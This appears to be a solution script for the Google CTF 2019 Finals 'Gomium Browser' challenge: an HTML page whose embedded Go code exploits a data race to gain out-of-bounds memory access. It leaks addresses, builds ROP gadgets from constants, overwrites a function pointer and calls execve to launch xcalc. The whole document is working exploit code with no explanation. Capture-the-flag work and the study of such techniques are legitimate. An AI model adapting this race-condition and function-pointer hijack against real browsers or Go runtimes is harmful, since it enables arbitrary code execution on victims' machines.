Google Capture The Flag 2019 (Finals) Gomium Browser
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| <html> | |
| <script type="text/goscript"> | |
| package main | |
| import "fmt" | |
| func bring_your_own_gadgts(x uint64, y uint64, z uint64, w uint64, v uint64) uint64 { | |
| var a uint64 = 0xc3050f585a5e5f58; | |
| var b uint64 = 0xdeadbeefdeadbeef+1 | |
| var c uint64 = 0xdeadbeefdeadbeef+2 | |
| var d uint64 = 0xdeadbeefdeadbeef+3 | |
| var e uint64 = 0xdeadbeefdeadbeef+4 | |
| tmp := []uint64{a, b, c, d, e} | |
| fmt.Println("hoge") | |
| // return a + b | |
| return tmp[0] + tmp[1] | |
| } | |
| type fptr struct { | |
| f func(x uint64, y uint64, z uint64, w uint64, v uint64) uint64 | |
| } | |
| func addrof(i interface{}) uint64 { | |
| s := fmt.Sprintf("%p", i) | |
| var result uint64 = 0 | |
| for i := 0; i < len(s) - 2; i++ { | |
| var tmp uint64 = 0 | |
| var c = uint8(s[len(s) - i - 1: len(s) - i][0]) | |
| if '0' <= c && c <= '9' { | |
| tmp = uint64(c) - uint64('0') | |
| } else { | |
| tmp = uint64(c) - 'a' + 10 | |
| } | |
| result += (uint64(tmp) << (i*4)) | |
| } | |
| return result | |
| } | |
| var win bool = false | |
| func main() { | |
| long := make([]*uint64, 8) | |
| short := make([]*uint64, 4) | |
| target := make([]*uint64, 4) | |
| oob := make([]uint64, 4) | |
| func_ptr := new(fptr) | |
| str := "hogehogehogehoge" | |
| oob[0]= 0xdeadbeef | |
| fmt.Printf("%x\n", addrof(&long)) | |
| fmt.Printf("%x\n", addrof(&short)) | |
| fmt.Printf("%x\n", addrof(&target)) | |
| fmt.Printf("%x\n", addrof(&oob)) | |
| fmt.Printf("%x\n", addrof(&func_ptr)) | |
| fmt.Printf("%x\n", addrof(&str)) | |
| var hoge uint64 = 0xdeadbeefdeadbeef | |
| confused := short | |
| go func() { | |
| for win == false { | |
| confused = long | |
| confused = short | |
| } | |
| }() | |
| g := func() { | |
| confused[5] = &hoge | |
| confused[6] = &hoge | |
| if len(target) > 0x10 { | |
| win = true | |
| return | |
| } | |
| } | |
| f := func() { | |
| defer func() { | |
| if r := recover(); r != nil { | |
| } | |
| }() | |
| g() | |
| } | |
| for win == false { | |
| f() | |
| } | |
| fmt.Println("race win") | |
| fmt.Println("len(target)=", len(target)) | |
| target[4] = nil | |
| target[5] = &hoge | |
| target[6] = &hoge | |
| target[6] = &hoge | |
| func_ptr.f = bring_your_own_gadgts | |
| oob[addrof(&oob)/8 + 1] = addrof(&func_ptr)+ 0x100 | |
| oob[addrof(&oob)/8 + 2] = addrof(&func_ptr)+ 0x100 | |
| // overwrite function pointer | |
| oob[addrof(&func_ptr)/8 + 1] = addrof(&func_ptr) + 0x18 | |
| oob[addrof(&func_ptr)/8 + 3] = addrof(bring_your_own_gadgts) + 0x39 | |
| // write "//usr/bin/xcalc" and its pointer | |
| oob[addrof(&oob)/8 + 4] = 0x69622f7273752f2f | |
| oob[addrof(&oob)/8 + 5] = 0x00636c6163782f6e | |
| oob[addrof(&oob)/8 + 8] = addrof(&oob) + 0x20 | |
| // write "DISPLAY=:0" and its pointer | |
| oob[addrof(&oob)/8 + 10] = 0x3d59414c50534944 | |
| oob[addrof(&oob)/8 + 11] = 0x303a | |
| oob[addrof(&oob)/8 + 12] = addrof(&oob) + 0x50 | |
| // trigger execve() | |
| func_ptr.f(addrof(&oob) + 0x20, addrof(&oob) + 0x40, addrof(&oob)+0x60, 59, 0xdeadbeef) | |
| } | |
| </script> | |
| </html> |
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